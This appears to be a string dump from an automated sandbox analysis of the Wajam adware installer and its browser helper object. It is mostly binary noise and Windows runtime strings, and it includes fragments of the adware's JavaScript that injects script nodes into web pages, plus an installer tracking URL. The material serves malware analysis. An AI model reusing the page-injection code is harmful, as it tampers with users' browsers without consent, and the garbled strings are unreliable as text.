TExceptRec@SttJr,T@+X@#%@H:S`[USVW3]]3Uhx@d0d tE

Ansi based on Dropped File (nsqE177.tmp)

text = 'window[\''+priam.Config.added_var_name.user_mapping_version+'\'] = \'' + user_current_mapping_version + '\';\n' + 'window[\''+priam.Config.added_var_name.urls_mapping_version+'\'] = \'' + mappingListVersion + '\';\n' + text;var debug_priam_env = prefs['debug_priam_env'];if (debug_priam_env) {text += '\nwindow[\''+priam.Config.added_var_name.env+'\']=\'1\';';}try {//MAKING THE NODEvar new_script = _document.createElement('script');new_script.id = id;new_script.type = 'text/javascript';if(typeof(new_script.textContent) != 'undefined'){new_script.textContent = text;}else{new_script.text = text;}var elemScript = _document.getElementById(id);str += priam.Trace.add(method_name,'url: '+_document.location);str += priam.Trace.add(method_name,'Checking \''+id+'\': '+elemScript);if (elemScript) {if (forceUpdate) {str += priam.Trace.a

Ansi based on Dropped File (priam_bho.dll.1505483275)

tE}t?@M}ED%

Ansi based on Dropped File (nsqE177.tmp)

tf#[+;ax'

Ansi based on Dropped File (nsqE177.tmp)

tfEM;sHf9

Ansi based on Dropped File (nsqE177.tmp)

th jS:P>3tC@h@V]]]:@VW:9]tSCE9]t

Ansi based on Dropped File (nsqE177.tmp)

tHAeVEP@1Au3u0A3d0A30A3EP0AE3E3;uO@u

Ansi based on Dropped File (nsqE177.tmp)

The requested value is not a string array.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

The USERTRUST Network1!0Uhttp://www.usertrust.com10UUTN-USERFirst-Object0

Ansi based on Dropped File (nsqE177.tmp)

ThemeApiConnectionRequest

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

thfAEPEEh e!A{3hEP3Pf{EhUAP4uPhTAPsL0AVPjUAWu

Ansi based on Dropped File (nsqE177.tmp)

This application has requested the Runtime to terminate it in an unusual way.Please contact the application's support team for more information.

Ansi based on Dropped File (IpConfig.dll.3460457498)

This indicates a bug in your application.

Ansi based on Dropped File (nsqE177.tmp)

This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Ansi based on Dropped File (nsqE177.tmp)

This program must be run under Win32$7

Ansi based on Dropped File (SimpleSC.dll.523064890)

ThreadingModel

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

tHt3VWh3FWP3~~~~AF+@Ou@Nu_^UDA3ESWPv1A3@;r t0;w+@P

Ansi based on Dropped File (nsqE177.tmp)

time Error!Program:

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

timestamp'] = install_timestamp;}return priam.background.url.build( url, params );},getFlag: function() {var url = priam.Config.url.flag;return priam.background.url.build( url );},getMapping: function() {var

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

TL<LiH@h/eFW;?_}et Q4&NDjJ5'l0(W@V

Ansi based on Dropped File (nsqE177.tmp)

tlbded`t[Wb]cipb^VO^eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeday">]edbiugdce`omdl\awrb\o~[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeece}\cdctxmwbc`kbj\aurb\lz[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee`3X]b+~)byfYpkbj\aurb\lz[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee^RS]fW`qU^,^^tOg]\H_kbj\aurb\lz[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]aa[Vv`[W1SiiY]\_F,`daY0cMcY\^\^fkbj\aurb\lz[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]_Y\e]Ml

Ansi based on Dropped File (nsqE177.tmp)

TLOSS error

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

TlsGetValue

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

TlsSetValue

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

tL|Q~?mT^q>>DH}7P"h4&_x9]YU{t4lc2'*1;+,2+`c.%P'%G"J4BheYfzukk4?v|r^AWTMw~]?zE*d{Br}#T(]CeB1ze9&-2Nq(S6R]? AL@Wxe`/-(*"%b/K}(AU>+DmsqED<b6M&".Q$I@JRA(X:Fk)A-n*@^y2}K)DI$/>TFy&^puwayD5'k'3,]tVA;Pjt~a_#p^:a1Q\pF

Ansi based on Dropped File (nsqE177.tmp)

TNbxj1R^ ^$E!$RBUic,Hy`>h?bj<M|OHX6@$49R3%Y h<XX57Fn)%olGu`%Y\7! }\Dino.Z,]Rwa5z1:

Ansi based on Dropped File (nsqE177.tmp)

to retreive file information

Unicode based on Dropped File (MoreInfo.dll.4230172058)

to=6f()9JRbA%6_L&L%&,s8E658c\Tb,a2}s&x[d&>j(IvB= 9|-5p^jxJL$|Qr=}l\>lS2HJ9XQmW]LlLNs;}cK#B&`N\tB&dD!)s8\{!VV(Xj`qTa75`MajBK S4_P*QU

Ansi based on Dropped File (nsqE177.tmp)

Total time

Unicode based on Dropped File (inetc.dll.1181384010)

Total time>Inetc plug-inMS Sans SerifPgP#Please wait@(msctls_progress32Progress1@P

Ansi based on Dropped File (nsqE177.tmp)

tPz]{(uS${(t;u=$@t$@P%V^v]_^[@@tJI|Ju

Ansi based on Dropped File (nsqE177.tmp)

TR: http://www.wajam.com/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857 (1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

TrackPopupMenu

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Transfer Error

Ansi based on Dropped File (inetc.dll.1181384010)

Transfered

Unicode based on Dropped File (inetc.dll.1181384010)

TransferedP0,

Ansi based on Dropped File (nsqE177.tmp)

TranslateMessage

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Translation

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

TransparentEnabled

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Transports

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

tr}tlM}CED

Ansi based on Dropped File (nsqE177.tmp)

ttttft3f}0E;t_^UQQSVWhAV33SfA0AA5A;tf9uEPS]3[]YY?sJMs?Y;r4PYt'EPV]EHYAY5A3_^[V1A3;u3^f9tf9uf9uS+XWSDYu

Ansi based on Dropped File (nsqE177.tmp)

ttttspMdTFLXnr_;}'uvvvvvp_mo?tvvvvvs5K^w{z#x y!y!y!y!y!u4hqvy!y!y!y!y!y!x}(vae.ILLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLO2{%{%{%{%{%{%{%{%tErz${%{%{%{%{%{%z$y"ySpTPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPNs~*~)~)~)~)~)~)~)})wHt~)~)~)~)~)~)})x nN~+------,}&|&{$J>~)------|&uq11111105hi|&|%~}(1111101:466663?5}(,666663AE6::::9/?7:::::5T]:>>>>>;AW9>>>>>=9sD?AAAAA=EOMI=AAAAAA=Pj@CDDDDDBAABDDDDDDCAsVCHHHHHHHHHHHHHHGBlVp_Ynlc{kf_bT`oz}kelx~ascmq\VzOtkc\leeiryan~{]lylmsx{ysv\\Ystf_Zkm\qb^Zak~TU^Y_p}phVjtjVEKKKKKKKKKKKKJEgGwcl~+]hjPV<|{OLr~o_ujQ^w}Zbfnx~wkh|lk|e=ZvshVPqiATfj^Q=wVg^_whhvxm^dquy?Tkn_B=bxRMa%CyjTTMpxQlkkttZx}|ex`wzqsmGbtB`qCUJX_cl2^fPai^Df@JMMMMMMMMMICwLcbdefeec`f+YN;

Ansi based on Dropped File (nsqE177.tmp)

tUEA]U(DA3ES]WtSuUYjLjP0ffffffEM0IMMt1Ajp1APl1AuutSTYM_3[VjVjVh1APd1A^U5AX1At]uuuuu3PPPPPUE3;AtA-rHwj

Ansi based on Dropped File (nsqE177.tmp)

tuEG`uEGd3UEA]UEA]VW3AT1AA(r_^U$DA3EESEEVWEe=AEu}hDRA|0A=0Ah8RAS5T1APh(RASAPhRASAPhQASAPAthQASPAAM5X1A;tG9

Ansi based on Dropped File (nsqE177.tmp)

tujXYEjPEPjS4AttuPhH^L@EjPEPj=S4At*t!uPh^L@

Ansi based on Dropped File (nsqE177.tmp)

tuO`MG`u>OdMGdu,

Ansi based on Dropped File (nsqE177.tmp)

tUtp]_^[0}0l0[1JttL

Ansi based on Dropped File (nsqE177.tmp)

tVWVWh$@YYWW@Wu*Eth@YYWj:VWqh@j#_^Vt$VPV@8\th@V^D$

Ansi based on Dropped File (nsqE177.tmp)

TW6@uaM"gOM)aOn)4Dvqt.Xn[(aUqXy+ac2WbCb'h/MTTDtDpUXzk:`j[rjlqQCk'!w8N^g[yYH]hve!tB11NOe<sae1|7fc;=*lk3I+l]|.Mk*zkm4Ue)XlYonr/:C>q,1X&?zUNn_&BW@fG4$0Rq8F@`A80~~(hU&T1`BuV"qTqhe;lhQgD0>Zvm#>hnK<)Vikj!tl!BKn`Se;sw+vK*X|@?:g=jMrzpm+gMmPJ0oIz

Ansi based on Dropped File (nsqE177.tmp)

TyD$,t\$0D[%@%@%@%@%@%@%@%@SV@>u:hDju3^[@

Ansi based on Dropped File (nsqE177.tmp)

TYdrrrzzzm

Ansi based on Dropped File (nsqE177.tmp)

Type Descriptor'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

TypesSupported

Unicode based on Runtime Data (WajamUpdater.exe )

u ]E]E;M<<

Ansi based on Dropped File (nsqE177.tmp)

U kdr'L,^

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

u Y=FG;EY[E^_D$<sA<4sG<>sH$/U X(SVW3j

Ansi based on Dropped File (nsqE177.tmp)

u$<PGDZuVxZ0Fj$+BBDRJo'3@E~i"

Ansi based on Dropped File (nsqE177.tmp)

u&_^]SUVWjvt$tjVt$9h@BNULBt&jjV=P@WUV;0BWVt$;VUh@h0B@C(V'jhVl$jU@D

Ansi based on Dropped File (nsqE177.tmp)

u,5`@ShuShY8ZY;5@Sutp8h[h[uWj5PhSu@P@uA

Ansi based on Dropped File (nsqE177.tmp)

u0"BkMT'LU{xHt`'(UhBl`NTDj~@n:3<|'X#l.u3&L?Crp<Wa{C'Ft7g\<5p?SX[X\

Ansi based on Dropped File (nsqE177.tmp)

u0u<xt<Xu_3uUNt0t0Kw ;MsM9Er(u;Mv!M}u#EOu }t}e[UUUGuu=t}wu+9uv&rE"tMEjXEEt8Et]}tE`pEEt0}tE`p3_[^U3Puuu9AuhAP]USuM`UM3;u8]tE`p39]u&4rq8]tE`p9]tV;vqq?E9XuuQuuo6pQuQuhpEP ;u8]tE`p8]tMap^[Ujuuu

Ansi based on Dropped File (nsqE177.tmp)

u10:rNuM)Uv)v

Ansi based on Dropped File (nsqE177.tmp)

u5C@D$,CuUUW<@3@t$,VW8@;tUUhWP@W@uV.u9-@~?jj_;u49-lCtWo=Bjx0jYu%Bt$0t$0h5CP@t$0t$0SOD$,|$$;BuM58@jW=CjW$BjjWBE5CjW@jC3@B

Ansi based on Dropped File (nsqE177.tmp)

u;q|;skSuuuF#Du;YPx0AHE#Uu)k}

Ansi based on Dropped File (nsqE177.tmp)

u;tG8tuWsYFYV 8u;}tPMAG:u=u;t.8 M;vju h 0P jd Su EEPu ESPSSSu4 hl0P EtuIEtE8tuPYY}uhl0P 8uuh0P Pu5` uuuuuE9]XtuP u5| 9]tu( u_^[U(SWj3Y394}]tc}}uWX PWW V5 SSh54EEPShE54}]Suh54^_[UQSVW=X uuE'Eu0$0VT E0tV V;E}3_^[T$3SV

Ansi based on Dropped File (nsqE177.tmp)

u>FjSju0@u>;8uSjcPV>5P0@9]8V5P8@8tPW4P<@u?EjQP@@uEPW4PVjEfVuw0ujV1jh@V1EC5@Pj@E;t{S9

Ansi based on Dropped File (nsqE177.tmp)

u@3Vt$Vu@,jj@@tL$pH

Ansi based on Dropped File (nsqE177.tmp)

u@@CUUjEP@JE1YUUjEP@JE*YUtCu3ZYYdho@E_^[]@USV3tC<@u@U^[]UjSV3UhUp@d0d 3t,C<(@uEUcE3u(@3ZYYdh\p@EH^[Y]@UjV3Uhp@d0d EPsq@LEs<jVCPho@,@JujVPho@3ZYYdhq@E8^Y]1U3QQQQQSVW3Uhr@d0d YEPr@E@D@tr3t5#D,Gt, tETUxCh;~"D%@s.vEEPMsU!]r@Dus@C~s@Dus@V$s@Du0s@C0D,Yt, u<s@ETUuCe;3ZYYdhr@EU_^[]1gggggyyyyeeeeyyeeet-USVWMjPSuhPP>u#hP@P#E+]\

Ansi based on Dropped File (nsqE177.tmp)

u@@CZ_^[@=@~@=@}@+@@@3@3@SVW<$L$@\$u3R;s

Ansi based on Dropped File (nsqE177.tmp)

U@EEEuE}EEPjU@{MZ@43ZYYdhx@EE_^[]$mU<MU]

Ansi based on Dropped File (nsqE177.tmp)

U@sjEPCP}hPEPCcEPj@FX@ZCEPj@X@3ZYYdhb{@ZnEB^[]US3UE3Uh'|@d0d Ew%rtJ

Ansi based on Dropped File (nsqE177.tmp)

u[YuV[YFWF>HN+IN;~WPuEM FyMttAA@ tjSSQ+Z#t%FM3GWEPuE9}tN E%_[^U+]DA3EEVuW34809}u3;u8mSAL8$$?tu'Mu) D8 tjjjVXV=ZYDY@l39H P41A3;`;t8?P1A4 3,9E#@?g$3

Ansi based on Dropped File (nsqE177.tmp)

U\!cO1SKdUfB-:<-3i5~Tl'2fF)p(

Ansi based on Dropped File (nsqE177.tmp)

u\Programs\Wajam\uninstall.lnk

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

U_oQU6">>FWG9\YI]x5pdn(]A&rAxMEGZ"/iJoYj

Ansi based on Dropped File (nsqE177.tmp)

uA<2,h%lv}hQ[P+

Ansi based on Dropped File (nsqE177.tmp)

uAYBhh2AhP2AYYuTVWh@82AL2AY;st;r=A_^thAQYtjjjA3]j hXdAj_Ye3@9AAEA}5A5X1A]th5A}]}};rK9t;r>75A5A9]u9Et]]E}]El2A}x2AsEtEE|2A}2AsEtEE }u)AjwYu}tjaYUjju]Ujju]jjjjjjzUu2YhU3M;?At

Ansi based on Dropped File (nsqE177.tmp)

uD$_D$UEt8uP

Ansi based on Dropped File (nsqE177.tmp)

uEE;CgjWuL@C9xtjPjh} u5Ct,3} 5@WuWhu8@Puuu_^[U}SVu} u}h3}uu@tQju5u]9uu;9Bt3W C(BVWB'

Ansi based on Dropped File (nsqE177.tmp)

uEEEE_^[YY]SVWT u

Ansi based on Dropped File (nsqE177.tmp)

uEmEjEPjEP4t0Au

Ansi based on Dropped File (nsqE177.tmp)

ufu3CPW!jhCk"P5B@C5Ctt

Ansi based on Dropped File (nsqE177.tmp)

ug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.update_mapping_list+'\'');}priam.Events.onEventPriamUpdateMappingList(document);},on_priam_update_script: function(e) {var method_name = 'on_priam_update_script';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.update_script+'\'');}priam.Events.onEventPriamUpdateScript(e);}};priam.Trace = {add: function(method_name,message,callback) {if (typeof(callback) == "undefined") {callback = function(){};}priam.Browser.messageManager.sendRequest('add_trace',{method_name: method_name,message:message},callback);return '\n' + message;}};var start = 0;priam.ext = {debug: function(method_name,message){if( priam.Config.getDebug() == 1 && con

Ansi based on Dropped File (priam_bho.dll.1505483275)

uGAG&'}_^[tPuSVt$W>\u~\u~?u~\u>tVtFFt9U-(@<v"Ph@j8uV+PVWWVu]'WS@< t<\u';r_^[US39]t@tP@

Ansi based on Dropped File (nsqE177.tmp)

ugh space for environment

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ugh space for lowio initialization

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

UH2W1Y710

Ansi based on Dropped File (nsqE177.tmp)

ujd( jPhvT G}vu$ EPu t}uju EE}tu = S6vVE_^[UEVPELEPYtjV$ EPV4 V uEhL0P` EP=^0Vt)0t#FPt$8

Ansi based on Dropped File (nsqE177.tmp)

UjEPp@JC8HVYUC

Ansi based on Dropped File (nsqE177.tmp)

ujhfu}u-uuP@tju@3Pjheu3^]U@SVuWj_j[sj

Ansi based on Dropped File (nsqE177.tmp)

ujjh5Cujjj5C3@}uB}Wuu_^[=lCBu$BjjhPP@U}Vuu&v0juF<

Ansi based on Dropped File (nsqE177.tmp)

uM@uMu6AYYMLAD$ MeHMuEtpjS6v,;u8tP6ejEP6&uf}uRP6$;tjj6,;tE(@@}uE#uMEE#;tD=t)=@t"=t)=@t"=t=@uEM#;u

Ansi based on Dropped File (nsqE177.tmp)

UmKAyvzygW,=~&W}y#=DoVUm(mn=#U^:vHnmqu~]m#It6+;[2]kJ KLKF|kHcCv&~xPY{BY]J

Ansi based on Dropped File (nsqE177.tmp)

uN-gm^;x;

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Unable to find requested value.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Unauthorized (401)

Ansi based on Dropped File (inetc.dll.1181384010)

UNCAsIntranet

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

UNDQogM=nCkUG"5lwgg~@9x#BcQxyZ4BAE|0rE

Ansi based on Dropped File (nsqE177.tmp)

unexpected heap error

Unicode based on Dropped File (priam_bho.dll.1505483275)

UNHANDLED VARIANT TYPE (%i)

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

UnhandledExceptionFilter

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

uninstall.exe

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

UninstallString

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

unique_id

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Unknown exception

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

unpacking data: %d%%

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

UnregisterClassA

Ansi based on Dropped File (priam_bho.dll.1505483275)

UnRegisterTypeLibForUser

Ansi based on Dropped File (priam_bho.dll.1505483275)

UnregServer

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

UnregServerPerUser

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

untgz\MoreInfo\SRC\Release\MoreInfo.pdb

Ansi based on Dropped File (MoreInfo.dll.4230172058)

uNu3;u)u}}u3E@5@@5@LS+|T;uC @5@]_^[USVW=@ut~

Ansi based on Dropped File (nsqE177.tmp)

uO@ttEyPf}uxW>1A^3tQ1Ax61Ax&VutPF!>Yff;~w;~v~^u^tPFYVSW;v}Fu;vjWFYYu2\~UuFsjX;v;rjSgFYYtFP6PWM6F>^_[UEt,t t"tPth@hWh]Uuuuu1FP]Q1AUW39>t3hWA0A;t>h8WAP0A;t.W6uuWuu9~tuuWuuD0A3@_]UQeVsWEPWt

Ansi based on Dropped File (nsqE177.tmp)

uP@P[tz@@Pu@@t=@t@POtP-t=@t@P

Ansi based on Dropped File (nsqE177.tmp)

update.exe

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

update_pending

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

updateURL

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

UpdateWindow

Ansi based on Dropped File (inetc.dll.1181384010)

UPG&12o7Xw$BJ!-e,yhZRf#,9CZ_<8(WA&]QH/]#sPQ#WA/Y#:`1\iGHmsrT= Ac9N46=f3yBk#tQaMyg3`2=w{af2wceEOU[,\!0 &(>;613l{v:u3aYTq3YtT~-

Ansi based on Dropped File (nsqE177.tmp)

Uploading

Ansi based on Dropped File (inetc.dll.1181384010)

Uploading %s

Ansi based on Dropped File (inetc.dll.1181384010)

uPPM}Nhu}uruiOWM+UEBsLMQjhKP=@hj@Pjjjuh(@u\@hjP}uKuB

Ansi based on Dropped File (nsqE177.tmp)

UQQVW3f;u

Ansi based on Dropped File (nsqE177.tmp)

UQuebec10UMontreal10Usuite 20010U4115 St-Laurent10U

Ansi based on Dropped File (nsqE177.tmp)

URL Parts Error

Ansi based on Dropped File (inetc.dll.1181384010)

URLInfoAbout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

urlmon.dll

Ansi based on Dropped File (priam_bho.dll.1505483275)

Usage: %S <BHO CLSID> <sid>

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

UseDelayedAcceptance

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

UseHostnameAsAlias

Unicode based on Runtime Data (IE_approveExt.exe )

UseOldHostResolutionOrder

Unicode based on Runtime Data (IE_approveExt.exe )

User sid: %s

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

USER32.DLL

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

USER32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

user_current_mapping_version

Unicode based on Runtime Data (iexplore.exe )

uSQjQS]Y[0:rNSQjQS]NY[SuM)Uv)v

Ansi based on Dropped File (nsqE177.tmp)

